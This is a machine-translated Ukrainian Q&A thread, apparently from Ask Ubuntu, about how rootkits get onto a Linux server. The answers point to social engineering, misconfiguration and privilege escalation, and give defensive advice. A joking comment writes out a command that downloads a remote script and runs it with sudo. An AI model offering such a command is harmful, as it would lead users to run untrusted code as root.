Як встановлюються руткіти на сервер ubuntu?


11

Я бачив кілька публікацій щодо перевірки на rootkits, але не зміг знайти жодної інформації про те, як вони потрапляють на систему Linux. Зокрема, якщо ви використовуєте помилку на веб-сайті php (так, я говорю про drupageddon тут), чи можна встановити руткіт, хоча ви можете працювати лише як веб-сервер (www-data), а не як root. Дуже мало інформації, яку я знайшов про те, як вони встановлені, передбачає, що ви повинні мати root, щоб встановити їх (див. Тут ).


6
Я написав невеликий гауб, ви можете встановити його, якщо хочете? просто наберітьwget http://mydomain/script.sh;sudo ./script.sh
Nanne

1
О, я чекав ЦЕ відповідь!
Над вбивцею

Відповіді:


9

Якби це я, я переконав би наступний метод:

  • Запропонуйте користувачу завантажити та встановити частину програмного забезпечення (№1). Запропонуйте це програмне забезпечення встановити програмне забезпечення, яке передбачено. Сховати двійкову крапку всередині цього додатка дозволяє завантажувати програмне забезпечення (тобто інструмент, який можна використовувати для ftp, wget тощо).
  • Запросіть обліковий запис адміністратора (# 2) і скористайтеся ним, щоб використовувати ftp, wget екземпляр для завантаження та встановлення rootkit.

Щодо №1: користувач ніколи не повинен завантажувати випадкове програмне забезпечення під час використання Linux; використовуйте відповідні канали (Ubuntu Software Center) для встановлення програмного забезпечення. Якщо це програмне забезпечення, яке потрібно завантажувати за межами відповідних каналів, переконайтеся, що джерелу завантаження можна довіряти. Подумайте про останні версії програмного забезпечення Apache або MySQL. Не займайтеся завантаженням випадкового програмного забезпечення, не перевіряючи різні соціальні медіа про цілісність цієї програми. Microsoft ніколи не централізоване програмне забезпечення; це призвело до того, що багато людей кидаються у відповідь на програмне забезпечення, тому їх база користувачів є надзвичайною, але це також спростило зайти до комп'ютерів та почати збирати дані, які вони можуть продати.

Щодо № 2: фатальний недолік користувача. Ніколи ніколи не вводив пароль свого адміністратора, якщо не знаєш, чому його запитують.


8

Так, для встановлення rootkit потрібен загальний дозвіл root. Багато руткітів містять модуль, завантажений у ядро, інші інструменти просто перезапису, зазвичай використовувані root. У правильно встановленій та досконалій системі не було б можливості встановити кореневий комплект без привілеїв root, але ...

... можуть виникнути проблеми з конфігурацією системи, що зробить систему небезпечною. ... можуть виникнути помилки в безпеці, які дозволяють підвищити привілеї ...

Способи такі ж необмежені, як і фантазія зловмисника.

Використовуючи наш веб-сайт, ви визнаєте, що прочитали та зрозуміли наші Політику щодо файлів cookie та Політику конфіденційності.
Licensed under cc by-sa 3.0 with attribution required.